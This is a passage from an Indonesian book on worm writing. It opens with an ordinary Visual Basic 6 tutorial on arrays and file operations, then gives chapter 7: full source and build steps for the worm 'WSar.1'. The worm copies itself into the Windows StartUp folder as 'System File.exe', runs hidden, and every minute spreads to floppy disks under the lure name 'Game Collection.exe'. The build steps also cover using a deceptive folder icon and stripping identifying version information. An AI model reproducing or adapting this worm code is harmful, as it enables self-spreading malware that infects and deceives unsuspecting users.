5. Exit Sub, digunakan untuk keluar dari badan procedure Sub yang sedang tampil dan control program ke bawah baris pemanggil procedure Sub tersebut.

6.6.3 STOPUntuk menghentikan sementara pelaksanaan program. Pernyatan Stop tidak menutup program yang dibuka dan tidak menghapus nilai variabel, sehingga pernyataan bisa dilanjutkan kembali.

6.7 ARRAYArray adalah kumpulan variabel serupa, dimana masing-masing variabel memiliki nama dan jenis yang sama. Array umumnya memi-liki index, elemen pertama memiliki nomor index 0 (nol). Array bisa dideklarasikan dengan dua cara, sebagai variabel tunggal dan dengan menggunakan pernyataan To.

6.7.1 DEKLARASI DENGAN VARIABEL TUNGGALUntuk mendeklarasikan suatu array dengan variabel tunggal, bisa menggunakan sintaksis berikut:

Dim | Public | Private ArrayName (Subscript) As_ DataType

1. Dim, public dan private, adalah statement yang mendeklarasikan array dan cakupannya. Penggunaan Dim hanya akan berlaku pada procedure yang sama, sedangkan Public akan membuat array berlaku untuk keseluruhan program, sementara Private (dengan sesi General pada form, atau module) akan membuat array berlaku untuk form itu saja atau module itu saja

Page 104: Computer Worm 1 secret of underground coding

89Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

2. ArrayName, adalah nama dari array3. Subscript, adalah jumlah elemen pada array. Karena index pertama

pada array adalah 0 (nol), maka apabila suatu Subscript adalah 5, index pada elemen terakhir adalah 4 (elemen0, elemen1, elemen2, elemen3, elemen4)

4. As, adalah keyword pada Visual Basic untuk menandakan suatu deklarasi jenis

5. DataType, adalah jenis data yang berlaku pada Visual Basic, seperti String, Integer atau Double.

Contoh dibawah akan mendeklarasikan array dengan jenis data String dan dengan lima elemen didalamnya.

Dim nama (5) as stringnama(0)= "kangen"nama(1)= "mistery"nama(2)= "puisi cinta"nama(3)= "kenangan"nama(4)= "my heart"

6.7.2 DEKLARASI DENGAN KEYWORD TOArray juga bisa dideklarasikan menggunakan keyword To, dengan sedikit perubahan sintaksis pada bagian Subscribe. Contoh di bawah ini akan mendeklarasikan array dengan jenis data Integer dan dengan lima elemen didalamnya.

Dim telp(1 to 5) As Integertelp(1)=55241telp(2)=33937telp(3)=10248telp(4)=97824telp(5)=35346

Page 105: Computer Worm 1 secret of underground coding

90Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

6.8 PENANGANAN FILESebagai suatu bahasa pemrograman, Visual Basic memiliki perintah-perintah dasar yang mewakili suatu tindakan tertentu. Berikut adalah beberapa perintah dasar yang berkaitan dengan penanganan file dan direktori.

6.8.1 MENGUBAH NAMA DAN MEMINDAH FILEUntuk mengubah nama atau memindah suatu file ke lokasi berbeda dapat menggunakan sintaksis berikut:

Name [source] As [destination]

• source, menentukan path dan file yang akan di- diubah atau dipin-dah

• destination, menentukan path atau nama untuk file yang akan di-ubah atau dipindah.

Contoh, untuk mengubah nama file: "c:\windows\calc.exe" menjadi file: "c:\windows\kalkulator.exe" dapat menggunakan perintah beri-kut ini:

Name "c:\windows\calc.exe" As "c:\windows\kalkulator.exe"

Untuk memindah file: "c:\windows\calc.exe" ke lokasi "c:\windows\system\calc.exe" dapat menggunakan perintah berikut ini:

Name "c:\windows\calc.exe" As "c:\windows\sy stem\calc.exe"

Page 106: Computer Worm 1 secret of underground coding

91Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

6.8.2 MEMBUAT SALINAN / MENG-COPY FILEUntuk membuat salinan atau meng-copy suatu file dapat menggunakan sintaksis berikut:

FileCopy [source], [destination]

• source : menentukan path dan nama file sumber yang akan di-copy

• destination : menentukan path dan nama untuk file hasil dari proses. Adapun file tujuan bisa menggunakan nama file yang berbeda dengan file aslinya.

Contoh, untuk meng-copy file: "c:\windows\notepad.exe" ke direktori "c:\windows\system" dapat menggunakan sintaksis berikut ini:

FileCopy "c:\windows\notepad.exe", "c:\windo ws\system\notepad.exe"

6.8.3 MENGHAPUS FILEUntuk menghapus suatu file dapat menggunakan sintaksis berikut ini:

Kill [filename]

• filename : menentukan path dan file yang akan di hapus.

Contoh, untuk menghapus seluruh file yang berekstensi "bak" (dengan menggunakan wildcards) pada direktori "c:\windows" dapat meng-gunakan sintaksis berikut ini:

Kill "c:\windows\*.bak"

Page 107: Computer Worm 1 secret of underground coding

92Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

6.8.4 MELIHAT DAN MENGUBAH ATRIBUT PADA FILEUntuk memberi atribut suatu file, bisa menggunakan sintaksis berikut ini:

SetAttr ([filename]), [constants / value]

• filename : Menentukan path dan file yang akan diset-ting atributnya.

• Constanst/value : menentukan atribut dengan menggunakan symbolic constants atau value, diantaranya:

Symbolic Constant Value Keterangan

vbNormal 0 Jenis atribut normal, menandakan file tidak diatur oleh atribut apapun.

vbReadOnly 1 Read only

vbHidden 2 Hidden

vbSystem 4 System

vbVolume 8 Volume label

vbDirectory 16 Directory

vbArchive 32 Archieve

Untuk memberi lebih dari satu atribut dengan menggunakan value, tinggal menambah bilangan pada atribut. Misalnya untuk memberi atribut Archieve (32) dan Read only (1) secara bersamaan maka digu-nakan bilangan 33. Sedangkan untuk menggunakan symbolic constant, yaitu dengan menambahkan tanda tambah "+" disetiap constant beri-kutnya.

Contoh, untuk mengatur atribut file: "c:\windows\notepad .exe" men-jadi Archieve dan Hidden, maka dapat menggunakan sintaksis berikut ini:

SetAttr("c:\windows\notepad.exe"), 34

Page 108: Computer Worm 1 secret of underground coding

93Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

Atau

SetAttr("c:\windows\notepad.exe"), vbArchiev e +vbHidden

Untuk bisa mengetahui atribut suatu file, bisa menggunakan sintaksis berikut ini:

GetAttr ([filename])

• filename : menentukan path dan file yang ingin diketahui atribut-nya.

Contoh, untuk mengetahui atribut pada file: "c:\windows\calc.exe" dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini:

MsgBox GetAttr("c:\windows\calc.exe")

Sintaksis ini akan memberikan hasil berupa value seperti pada cara pembuatan atribut: 1 untuk Read only, 2 untuk Hidden, dan seterus-nya.

6.8.5 MENGETAHUI BESAR FILEUntuk mengetahui besar kapasitas suatu file, bisa menggunakan sin-taksis berikut ini:

FileLen([filename])

• filename : menentukan path dan file yang akan di ketahui besar file-nya.

Page 109: Computer Worm 1 secret of underground coding

94Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

Contoh, untuk mengetahui kapasitas pada file: "c:\windows\calc.exe" dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini:

MsgBox FileLen("c:\windows\calc.exe")

6.8.6 MENGETAHUI TANGGAL DAN WAKTU FILEUntuk mengetahui kapan suatu file dibuat, bisa menggunakan sintak-sis berikut ini:

FileDateTime([filename])

• filename : menentukan path dan file yang akan di ketahui tanggal atau waktu file-nya.

Contoh, untuk mengetahui tanggal dan waktu pada file: "c:\windows\calc.exe" dan menampilkannya pada sebuah kotak pesan, dapat meng-gunakan sintaksis berikut ini:

MsgBox FileDateTime("c:\windows\calc.exe")

6.8.7 MENGETAHUI DRIVE DAN DIREKTORI AKTIFUntuk mengetahui direktori apa yang sedang aktif, bisa menggunakan sintaksis berikut ini:

CurDir([drive])

• drive : menentukan drive pada harddisk yang akan diketahui direktori aktifnya, apabila drive tidak ditentukan maka secara default akan diatur pada drive yang aktif saat itu.

Page 110: Computer Worm 1 secret of underground coding

95Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

Contoh, untuk mengetahui direktori aktif pada drive C dan menampil-kannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini:

MsgBox CurDir("C")

6.8.8 MENGATUR DRIVE AKTIFUntuk membuat suatu drive menjadi aktif, bisa menggunakan sintaksis berikut ini:

ChDrive([drive])

• drive : menentukan drive pada harddisk yang akan dijadikan drive aktif.

Contoh, untuk mengatur drive aktif pada drive D, dapat menggunakan sintaksis berikut ini:

ChDrive("D")

6.8.9 MENGATUR DIREKTORI AKTIFUntuk membuat suatu direktori menjadi aktif, bisa menggunakan sintaksis berikut ini:

ChDir([directory])

• directory : menentukan directory yang akan dijadikan direktori aktif.

Contoh, untuk mengatur direktori aktif pada direktori: "C:\Windows", dapat menggunakan sintaksis berikut ini:

ChDir("C:\Windows")

Page 111: Computer Worm 1 secret of underground coding

96Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

6.8.10 MEMBUAT DIREKTORI BARUUntuk membuat suatu direktori baru, bisa menggunakan sintaksis berikut ini:

MkDir([path])

• path : menentukan drive dan directory yang akan dibuat.

Contoh, untuk membuat suatu direktori "Contoh" pada drive C, dapat menggunakan sintaksis berikut ini:

MkDir("C:\Contoh")

6.8.11 MENGHAPUS DIREKTORIUntuk menghapus suatu direktori, bisa menggunakan sintaksis berikut ini:

RmDir([path])

• path : menentukan drive dan directory yang akan dihapus.

Contoh, untuk menghapus direktori "Contoh" pada drive C, dapat menggunakan sintaksis berikut ini:

RmDir("C:\Contoh")

Catatan : Untuk menghapus suatu direktori, maka direktori yang akan dihapus harus benar-benar empty (kosong), tidak berisi file atau sub-direktori apapun.

Page 112: Computer Worm 1 secret of underground coding

97Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

6.8.12 MENGUBAH NAMA DIREKTORIUntuk mengubah nama suatu direktori, bisa menggunakan sintaksis berikut ini:

Name [source] As [destination]

• source : menentukan drive, path dan direktori yang akan diubah

• destination : menentukan nama direktori baru dengan drive dan path yang sama.

Contoh, untuk mengubah nama direktori: "C:\Contoh" menjadi direk-tori: "C:\Misal" dapat menggunakan perintah berikut ini:

Name "C:\Contoh" As "C:\Misal"

6.9 OPERASI FILE TEXTDengan Visual Basic, pengoperasian file text menjadi mudah dan sederhana. Berikut ini akan diberikan contoh bagaimana membuka atau membuat suatu file text.

6.9.1 MEMBUAT FILE TEXT Untuk membuat suatu file text baik yang memiliki ekstensi txt, bat, doc, vbs, htm, reg, ini, atau file batch lainnya, dapat menggunakan procedure sebagai berikut:

Open [filename] For Output As #numPrint #num, ["text"]Close num

Page 113: Computer Worm 1 secret of underground coding

98Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

• filename : menentukan path dan file yang akan berlaku sebagai output. Apabila terdapat file dengan nama dan path yang sama maka file tersebut akan di overwrite

• num : bilangan Integer

• text : isi dari file text yang ingin ditulis

Contoh, untuk membuat file: "c:\runner.bat", dapat menggunakan procedure, berikut ini:

Private Sub Form_Load() Dim filenya As String

filenya = "c:\runner.bat" Open filenya For Output As #1 Print #1, "rem runner winword.exe w32.exe" Print #1, "command /c %1" Print #1, "command /c %2" Close(1)End Sub

6.9.2 MEMBACA FILE TEXT Untuk membaca suatu file text, dapat menggunakan procedure sebagai berikut:

Open [filename] For Input As #num[content] = Input(LOF(num), num)Close num

• filename : menentukan path dan file yang akan berlaku sebagai input

• num : bilangan integer

• content : variabel yang mewakili isi dari file text

Page 114: Computer Worm 1 secret of underground coding

99Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

Contoh, untuk membaca file: "c:\runner.bat" dan menampilkannya pada suatu TextBox bernama Text1, dapat menggunakan procedure, berikut ini:

Private Sub Form_Load() Dim filenya, isifile as string

filenya = "c:\runner.bat" Open filenya For Input As #1 isifile = Input(LOF(1),1) Close 1 Text1.text = isifileEnd Sub

6.10 OPERASI FILE BINARYSeperti pada pengoperasian file text, maka kita dapat memproses file binary dengan cara yang hampir sama. Berikut akan di contohkan bagaimana memanfaatkan suatu file binary.

Untuk membuka suatu file binary, bisa menggunakan statement Open dengan opsi For Binary. Untuk membaca isi file digunakan statement Get, kemudian menggunakan statement Put untuk operasi penulisan.

6.10.1 MEMBUAT FILE BINARY Untuk membuat atau menulis suatu file binary, dapat menggunakan procedure sebagai berikut:

content = ["text"]Open destination For Binary Access Write As #1Put #1, , contentClose #1

• destination : menentukan path dan file yang akan berlaku sebagai output

• content : variabel yang mewakili isi dari file

Page 115: Computer Worm 1 secret of underground coding

100Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

Contoh, untuk membuat file: "c:\contoh.bat" dengan isi file berupa teks "echo belajar file binary", dapat menggunakan procedure, berikut ini:

Private Sub Form_Load() Dim filename, content As String

filename = "c:\contoh.bat" content = "echo belajar file binary" Open filename For Binary Access Write As #1 Put #1, , content Close #1End Sub

6.10.2 MEMBACA FILE BINARY Untuk membaca suatu file binary, dapat menggunakan procedure sebagai berikut:

content = Space(FileLen(filename))Open filename For Binary Access Read As #1Get #1, , content Close #1

• filename : menentukan path dan file yang akan berlaku sebagai input

• content : variabel yang mewakili isi dari file

Contoh, untuk membaca file: "c:\windows\notepad.exe" dan me-nampilkan huruf mulai dari karakter ke 113 hingga 4 karakter dan menampilkannya pada suatu TextBox bernama Text1, dapat meng-gunakan procedure, berikut ini:

Private Sub Form_Load() Dim filename, content As String filename = "c:\windows\notepad.exe" content = Space(FileLen(filename)) Open filename For Binary Access Read As #1 Get #1, , content Close #1 Text1.text = Mid(content, 113, 4)End Sub

Page 116: Computer Worm 1 secret of underground coding

101Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

6. K

ode

Pro

gram

6.11 FILE SYSTEM OBJECT (FSO)Visual basic 6.0 menyertakan sebuah library yang meliputi perintah-perintah dasar seperti delete, copy, move dan lain-lain, serta mampu mendapatkan suatu informasi eksternal yang umumnya tidak terdapat pada function Visual Basic. Bentuk umumnya adalah sebagai berikut:

Set fso = CreateObject("scripting.filesystemobject")fso.myobject

1. fso : variabel untuk pembuatan suatu object2. myobject : variabel yang mewakili suatu object

Contoh, untuk mengetahui direktori System pada Windows dan me-nampilkannya pada suatu kotak pesan, dapat menggunakan procedure berikut ini:

Private Sub Form_Load() Dim sysdir As Variant Dim fso As Variant Set fso=CreateObject("scripting.

filesystemobject") MsgBox fso.GetSpecialFolder(1)End Sub

Berikut adalah beberapa function yang dapat digunakan:

Sintaksis Keterangan

CopyFile Source, Destination, [Overwrite]

Digunakan untuk meng-copy file

CopyFolder Source, Destination, [Overwrite]

Digunakan untuk meng-copy folder beserta isi-isinya

CreateFolder(Path) As Folder Digunakan untuk membuat suatu direktori atau folder baru

CreateTextFile(FileName, [Over-write], [Unicode]) As TextStream

Digunakan untuk membuat suatu file text

DeleteFile FileSpec, [Force] Digunakan untuk menghapus satu atau lebih file dan bisa menggu-nakan wildcards; atur Force pada nilai true untuk tetap menghapus walaupun file memiliki atribut read only

Page 117: Computer Worm 1 secret of underground coding

102Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 6. K

ode program

DeleteFolder(FolderSpec, [Force]) Digunakan untuk menghapus suatu folder beserta isi-isinya, atur Force pada nilai true untuk tetap menghapus walaupun file memiliki atribut Read only

DriveExists(DriveName) Memberikan nilai true jika drive yang ditentukan ada

FileExists(FileName) Memberikan nilai true jika file yang ditentukan ada

FolderExists(FolderName) Memberikan nilai true jika folder yang ditentukan ada

GetDriveName(Path) Mengambil drive dari suatu path

GetExtensionName(FileName) Mengambil ekstensi dari file

GetFileName(FileName) Mengambil nama file dan ekstensi tanpa path lengkap

GetParentFolderName(Path) Untuk mendapatkan folder induk dari suatu path

GetSpecialFolder(SpecialFolder) As Folder

Untuk mendapatkan suatu folder spesial pada Windows.

0: untuk Windows Folder1: untuk System Folder2: untuk Temporary Folder

MoveFile(Source, Destination) Digunakan untuk memindahkan suatu file ke lokasi berbeda

MoveFolder(Source, Destination) Digunakan untuk memindahkan suatu folder ke lokasi berbeda

Contoh lain, untuk meng-copy file dari: "c:\windows\notepad.exe" ke direktori A pada disket, dapat menggunakan procedure berikut ini:

Private Sub Form_Load() Dim sysdir As Variant Dim fso As Variant Set fso=CreateObject("scripting.filesystemobject") fso.copyfile "c:\windows\notepad.exe", "a:\"End Sub

Page 118: Computer Worm 1 secret of underground coding

103Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

7. W

orm

WS

ar.1

BAB 7WORM WSar.1

Kenapa bab ini ada?

Bab ini adalah salah satu bab inti dari buku ini, yang memuat tentang cara-cara pembuatan worm. Perlu untuk penulis ingatkan kembali, bahwa membicarakan masalah pembuatan suatu worm membutuhkan pemahaman tentang tanggung jawab moral yang besar, karena worm dapat menimbulkan kerugian yang sangat besar baik berupa materiil maupun non materiil. Namun demikian, penulis tetap memberikan trik-trik real yang digunakan para worm writer dalam membuat suatu worm, karena akan mengingatkan pembaca semua, bahwa worm adalah program yang sangat berbahaya dan dapat dibuat dengan mudah.

Page 119: Computer Worm 1 secret of underground coding

104Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 7. W

orm W

Sar.1

Banyak jalan menuju Roma, mungkin ungkapan ini tidak berlaku pada proses hacking saja tetapi juga sangat cocok apabila ungka-pan ini digunakan dalam proses pembuatan suatu worm.

Sudah menjadi suatu rahasia umum dimana para worm writer selalu mencari vulnerability baru karena vulnerability lama kebanyakan su-dah memiliki patch untuk memperbaiki celah tersebut, baik dari vendor antivirus maupun dari vendor aplikasi atau sistem operasi itu sendiri. Teknik yang dibuatpun menjadi beragam, penulis sendiri menemukan beberapa trik yang akan dipaparkan pada bab ini.

Sebagai persiapan awal untuk membuat suatu worm, virus atau malcode lain, ada beberapa ketentuan yang harus diperhatikan:

1. Jika memungkinkan, sangat disarankan untuk menggunakan kom-puter tersendiri yang khusus digunakan untuk keperluan ini, dan tidak digunakan oleh banyak orang

2. Gunakan program pembantu seperti Shad-owUser atau DeepFreeze,. Program ini akan membatalkan setiap perubahan yang dilaku-kan bahkan perubahan yang terjadi pada boot sector, sehingga walaupun partisi pada harddisk tak sengaja terformat oleh worm, hanya dengan me-restart komputer maka segalanya akan kembali seperti semula.

Program ini hanya mengembalikan perubahan pada saat komputer di restart, jadi jika ternyata perlu me-restart komputer untuk melihat efek perubahan dari suatu worm, maka cukup dengan melakukan Log Off dan kemudian Log In kembali, karena proses ini akan men-imbulkan efek yang sama dengan restart komputer.

Untuk program DeepFreeze disarankan agar membuat partisi lebih dari satu, misalnya dengan membuat dua partisi dimana partisi C: sebagai drive System Windows dan partisi D: sebagai drive data, kemudian instalkan DeepFreeze hanya pada drive C: saja sehingga data source code yang tersimpan pada drive D: tidak terganggu oleh DeepFreeze. Sementara untuk program ShadowUser lebih flexibel. Anda tinggal menentukan folder apa saja yang ingin dibebaskan dari proteksi

Page 120: Computer Worm 1 secret of underground coding

105Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

7. W

orm

WS

ar.1

3. Gunakan program pembantu seperti Virtual PC atau VMWare,. Program ini akan mensimulasikan suatu komputer maya sekaligus dengan jaringannya. Kita dapat membuat suatu lab komputer dengan sistem operasi yang berbeda sekaligus.

Keuntungan lain ternyata kita bisa membuat clonning dari suatu komputer virtual, sehingga apabila system suatu komputer virtual sudah tidak bisa diselamatkan lagi, kita dapat mengganti baru dengan backup clonning yang sudah kita siapkan. Lagi pula kita tidak perlu berpindah-pindah tempat untuk mengoperasikannya.

Penulis juga menyarankan agar menggunakan aplikasi Visual Basic 6.0 Enterprise, karena untuk versi lain seperti Visual Basic 6.0 Learning Edition penulis menemukan batasan-batasan dan ada fasilitas yang tidak bisa digunakan.

7.1 WORM DASAR 1Suatu worm dasar dapat dipandang sebagai satu set instruksi berisi sedikitnya tiga sub-rutin yang terpasang. • Sub-rutin yang pertama berfungsi untuk melakukan penularan

dengan cara membuat clonning (salinan) dirinya sendiri pada suatu system komputer, media penyimpanan atau melalui suatu jaringan.

• Sub-rutin yang kedua berfungsi sebagai live defender (rutin untuk bertahan hidup), yang akan memastikan suatu worm tetap eksis pada suatu host system

• Sub-rutin yang ketiga berfungsi sebagai pengatur payload (muatan maksud tertentu) yang mendikte suatu tindakan untuk dieksekusi. Payload ini pada teorinya bisa berupa apa saja seperti menghapus data, memasang backdoor atau memformat harddisk. Sub-rutin pelengkap lainnya bisa saja sebagai penentu kapan payload tersebut dilakukan.

Page 121: Computer Worm 1 secret of underground coding

106Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 7. W

orm W

Sar.1

7..2 ALGORITMAWorm ini bernama WSar.1 (worm dasar 1) yang menggunakan icon dengan gambar sebuah folder dan nama yang unik agar menarik minat user untuk mengeksekusinya, merupakan worm yang sangat sederhana sekali, sehingga hanya dapat menginfeksi sistem operasi Windows 9x dan ME yang terinstal secara default pada drive C. WSar.1 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut:

1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada system komputer

2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori StartUp pada Startmenu

3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A

4. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.1 Ada Pada Komputer Anda" dan menghentikan segala aktifitas worm pada hari tersebut.

7.3 PEMROGRAMAN

Buka aplikasi Visual Basic. Pada kotak dialog New Project klik icon Standard EXE pada tab New dan klik Open, untuk menampilkan kotak dialog New Project bisa dengan klik File pada menubar kemudian pilih New Project.

Page 122: Computer Worm 1 secret of underground coding

107Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

7. W

orm

WS

ar.1

Visual basic secara otomatis m e m b e r i k a n sebuah project dengan nama default Project1 dan sebuah form di dalam-nya dengan nama default Form1.

Sebagai langkah pertama, aturlah Project Properties dengan mengklik kanan nama project pada jendela Project Explorer yang dalam hal ini nama project masih bernama Project1, kemudian klik 'Project1 Properties…’

Page 123: Computer Worm 1 secret of underground coding

108Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 7. W

orm W

Sar.1

Akan tampil kotak dialog Project Properties dan berada pada tab General.

Ganti Project Name dari nama Project1 menjadi nama worm yaitu: WSar.

Dalam pengisian Project Name, tidak boleh meng-gunakan spasi, tanda titik, tanda koma atau karakter spesial lainnya.

Untuk melanjutkan pin-dah ke menu Make den-gan mengklik tab Make.

Ganti Application Title dari nama Project1 menjadi nama worm yaitu: WSar.1 kemudian hapus value untuk setiap Type pada frame Version Information, terutama untuk Type Company Name.

Tentunya Anda tidak ingin nama perusahaan tempat Anda bekerja menjadi terkenal oleh worm ini bukan ?

Jika value yang dihapus ternyata kembali saat project di-load Anda bisa menghapusnya lagi dan menambahkan sebuah karakter spasi. Kemudian pindah ke menu Compile dengan mengklik tab Compile.

Page 124: Computer Worm 1 secret of underground coding

109Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

7. W

orm

WS

ar.1

Pilih opsi Compile to P-Code. Opsi ini akan membuat program yang dihasilkan berukuran lebih kecil daripada meng-gunakan opsi Compile to Native Code. Akhiri dengan menekan tombol OK.

Langkah kedua adalah mengatur properties pada form, dengan mengklik nama form pada jendela Project Explorer.

Dalam hal ini, nama form masih bernama Form1, secara otomatis segala properti pada Form1 akan ditampilkan pada jendela Proper-ties. Anda juga bisa meng-klik ComboBox pada jendela Properties dan pilih object Form1.

Page 125: Computer Worm 1 secret of underground coding

110Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 7. W

orm W

Sar.1

Kemudian atur jenis properti berikut ini pada Form1:

Jenis Nilai KeteranganName frmWSar1 Mengatur nama form menjadi frmWSar1

Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.1 menggunakan icon folder.ico

ShowInTaskbar False Tidak menampilkan form pada taskbar

Visible False Tidak menampilkan form pada layar.

Langkah ketiga adalah menambahkan object Timer pada form yang bertujuan untuk melakukan perulangan terhadap instruksi tertentu tanpa memerlukan suatu interaksi oleh user.

Untuk itu klik ganda object Timer pada toolbox yang akan membuat sebuah object Timer dengan nama default Timer1, kemudian atur jenis properti berikut ini pada Timer1:

Jenis Nilai KeteranganName tmrWSar Mengatur nama Timer menjadi tmrWSar

Enable True Pastikan Timer akan aktif saat form di-load

Interval 60000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit

Langkah keempat adalah mengetikan kode program worm. Untuk itu klik ganda bidang form hingga jendela Code Editor tampil dengan

langsung membuat suatu sub 'Form Load’. Anda juga bisa meng-klik nama form pada jendela Explorer, klik tombol View Code kemudian klik Com-boBox Object pada Code Editor dan pilih Form, klik ComboBox Event dan pilih Load.

Page 126: Computer Worm 1 secret of underground coding

111Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

7. W

orm

WS

ar.1

Ketik kode program berikut ini:

'WSar.1 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End If Len(Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & _ "em File.exe")) = 0 Then FileCopy(WormFile, "C:\WINDOWS\Start Menu\Programs\Star" & _ "tUp\System File.exe") End If If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End IfEnd Sub

Private Sub tmrWSar_Timer() On Error Resume Next If Len(Dir$("A:\Game Collection.exe")) = 0 Then FileCopy(WormFile, "A:\Game Collection.exe") End If If Day(Now) = 13 And Month(Now) = 10 Then MsgBox("WSar.1 Ada Pada Komputer Anda") Unload(Me) End IfEnd Sub

Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function

Page 127: Computer Worm 1 secret of underground coding

112Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 7. W

orm W

Sar.1

Berikut penjelasan tentang kode program:

'WSar.1 by Achmad Darmal'Tarakan, Kalimantan Timur – IndonesiaOption Explicit

Dua baris teratas adalah baris komentar, diawali dengan single quote. Biasanya digunakan untuk memberi keterangan tentang program atau apapun yang ingin programmer sampaikan kepada pengguna kode tersebut. Statement Option Explicit pada baris ketiga memastikan agar seluruh variabel dideklarasikan.

Private Sub Form_Load()

Baris ini menandakan awal dari sebuah procedure, dalam hal ini adalah procedure yang akan dikerjakan pada event Form_Load, suatu kejadian saat form diaktifkan untuk pertama kali atau sesaat sebelum ditampilkan.

On Error Resume Next

Statement ini akan sangat berguna apabila terjadi suatu kesalahan, karena program akan mengacuhkan kesalahan tersebut dan kemudian mengakses instruksi setelahnya.

If App.PrevInstance = True Then End

Jika file aplikasi yang sama sudah berjalan maka akhiri proses pengek-sekusian file tersebut. Statement ini berguna untuk mencegah suatu file aplikasi yang sama dieksekusi lebih dari satu kali.

If Len(Dir$("C:\WINDOWS\Start Menu\Programs\Star" & _"tUp\System File.exe")) = 0 Then

Jika banyak karakter dalam pencarian "C:\WINDOWS\Start Menu\Programs\StartUp\System File.exe" adalah 0 (nol) maka file tersebut tidak ditemukan (sebaliknya akan menghasilkan nilai 15 jika file terse-but ditemukan. Nilai 15 berasal dari jumlah karakter pada nama file), maka…

Page 128: Computer Worm 1 secret of underground coding

113Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

7. W

orm

WS

ar.1

FileCopy WormFile, "C:\WINDOWS\Start Menu\Prog" & _"rams\StartUp\System File.exe"

FileCopy adalah function untuk membuat salinan suatu file. WormFile mewakili nama main file (file utama) yang terproses. WormFile adalah suatu function untuk mendapatkan full path (alamat penuh) file utama, Sedangkan "C:\WINDOWS\StartMenu\Programs\StartUp\System File.ex e" adalah lokasi dan nama file untuk tujuan penyalinan file,

If App.Path = "A:\" Or App.Path = "B:\" Then Unload MeEnd If

Jika path file utama pada drive A atau pada drive B maka akhiri aplikasi. Statement ini bertujuan untuk mencegah file worm yang berada pada disket bertahan di memory. Hal ini sebaiknya juga dilakukan untuk setiap removable disk, seperti disket dan usb disk. Akhirnya, End If digunakan untuk menutup statement If sebelumnya.

End Sub

Statement End Sub berfungsi untuk mengakhiri procedure Form_Load.

Private Sub tmrWSar_Timer() On Error Resume Next If Len(Dir$("A:\Game Collection.exe")) = 0 Then FileCopy(WormFile, "A:\Game Collection.exe") End If If Day(Now) = 13 And Month(Now) = 10 Then MsgBox("WSar.1 Ada Pada Komputer Anda") Unload(Me) End IfEnd Sub

Memulai suatu procedure baru terhadap object tmrWSar (Timer), men-gacuhkan error apabila terjadi dan mengeksekusi instruksi setelahnya. Jika file "A:\Game Collection.exe" tidak ditemukan maka meng-copy file utama ke drive A dengan nama "Game Collection.exe".

Jika tanggal sekarang adalah 13 dan bulan sekarang adalah 10 (Okto-

Page 129: Computer Worm 1 secret of underground coding

114Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 7. W

orm W

Sar.1

ber) maka tampilkan pesan "WSar.1 Ada Pada Komputer Anda" serta bersihkan worm dari memory, sehingga untuk hari tersebut worm tidak akan melakukan aktifitas apapun.

Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function

Function WormFile dibuat untuk mendapatkan path penuh file utama, dimulai dengan pendeklarasian WPath untuk lokasi dan WName untuk nama file, kemudian menentukan lokasi file utama dengan func-tion App.Path dan menyimpannya dalam variabel WPath..

Jika satu karakter disebelah kanan nilai variabel WPath tidak sama dengan "\" maka nilai variabel WPath ditambahkan karakter "\" di-belakangnya, kemudian mengatur nilai variabel WName dengan nilai berupa nama file utama yang didapat dari function App.EXEName. Karena nama file yang didapatkan dari function ini belum memiliki ekstensi, maka ditambahkan string ".exe" dibelakangnya, menandakan file tersebut adalah file executable.

